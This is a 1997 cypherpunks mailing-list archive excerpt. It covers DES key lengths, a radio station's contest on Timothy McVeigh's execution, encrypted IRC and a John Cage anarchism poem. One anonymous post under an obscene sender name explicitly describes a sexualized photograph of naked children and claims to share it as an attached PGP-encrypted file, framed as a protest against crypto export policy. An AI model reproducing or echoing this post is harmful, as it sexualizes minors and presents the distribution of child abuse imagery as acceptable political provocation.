> 
> 	You've convinced me, the UK _is_ on a different planet!

Nah, it's just Paul :-)

Perhaps he should rephrase that to no one with a clue _should_ be
using single DES.  Clearly lots are in practice, in spite of their
better judgement for political reasons.  The US government influence
via their export controls being a major factor pushing the practice of
using too short key lengths.

What's cryptography.uk?

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0



_The Atlanta Journal-Constitution_
6/20/97

"Contest Controversy: Radio Promotion Is Called Tasteless"
Miriam Longino, Staff Writer

Atlanta radio station 96rock is making waves with a contest that asks listeners to predict the year, month, day and time when convicted Oklahoma City bomber Timothy McVeigh will be executed. The winner gets a free trip to cover the event.

Rock Station WKLS-FM (96.1)--calling itself "The Home of Capital Punishment"--is running a 45-second spot 12 times a day to pitch the contest.

[snip]

...96rock promotions director, Pat Ervin, ...says he feels the station is "playing on the sentiment of the majority of the public." "We saw an opportunity," he says. "It's obvious that people are very passionate about this thing. So we decided to use a creative mechanism to tap into that."

[More follows]






From rah at shipwright.com  Fri Jun 20 05:12:14 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Fri, 20 Jun 1997 20:12:14 +0800
Subject: Party on IRC
In-Reply-To: <3.0.2.32.19970619200316.00710650@netcom9.netcom.com>
Message-ID: 



At 11:03 pm -0400 on 6/19/97, Lucky Green wrote:


> Much happened this week. If you feel like a conversation, join me on
> #cypherpunks on EFnet.

Hey, folks,

Is there an encrypted IRC available?

If not, shouldn't there be?

Is such a thing even possible?

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From stutz at dsl.org  Fri Jun 20 05:26:54 1997
From: stutz at dsl.org (Michael Stutz)
Date: Fri, 20 Jun 1997 20:26:54 +0800
Subject: War has been Declared
In-Reply-To: 
Message-ID: 



On Thu, 19 Jun 1997, Tim May declared:

> We have to discard concern for "politics" and refocus our efforts on our
> original strength: monkeywrenching the system with technology.

Date: Sat, 14 Jun 1997 13:45:54 +0200
From: Rinaldo RASA 
Reply-To: Bohemian  The Mailing List of the Bohemian Ink
Subject: John Cage on Anarchism.

"We don't need government
We need utilities.

Air, water, energy
Travel and communication means
Food and shelter.

We have no need for imaginary mountain ranges
Between separate nations.

We can make tunnels through the real ones.

Nor do we have any need for the continuing division of people
Into those who have what they need
And those who don't.

Both Fuller and Marshal McLuhan
Knew, furthermore
That work is now obsolete.
We have invented machines to do it for us.

Now that we have no need to do anything
What shall we do?

Looking at Fuller's geodesic world map
We see that the Earth is a single island, Oahu.
We must give all the people all they need to live
In any way they wish.

Our present laws protect the rich from the poor.

If there are to be laws, we need ones that
Begin with the acceptance of poverty as a way of life.

We must make the world safe for poverty
Without dependence on government."






From fj at dev.null  Fri Jun 20 05:49:25 1997
From: fj at dev.null (Fuck Jesus)
Date: Fri, 20 Jun 1997 20:49:25 +0800
Subject: No Subject
Message-ID: <199706201219.GAA23393@wombat.sk.sympatico.ca>



  In celebration of the DES Challenge success, I am sending out copies
of a 1983 Time-Life picture of a naked boy and girl playing in a risque
position that indicates the boy could have his penis inserted in the
girl's rear.
  In celebration of the crack of weak financial cryptography that
leaves businesses vulnerable because of the U.S.'s ignorant and fascist
crypto policy, I am encrypting the file using a 4096-bit key produced
with an encryption package I downloaded off of a European ftp site.

  So, while some thief is using a computer to steal your life savings,
I will be sitting back drinking champagne and enjoying pictures of
naked children that Time-Life profited from by selling them to middle
class Americans in the 80's.
  I am sorry that I feel the need to encrypt the picture with strong
cryptography acquired from a foreign source, but I am just a normal
citizen and not a major corporation, so I would go to jail for sharing
this with you even though I am not profiting from it as they did.


-----BEGIN PGP MESSAGE-----
Version: PGP for Personal Privacy 5.0
MessageID: x+sKjpaOsVgSNXEtf9IIyu8BCbLD5Hof

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
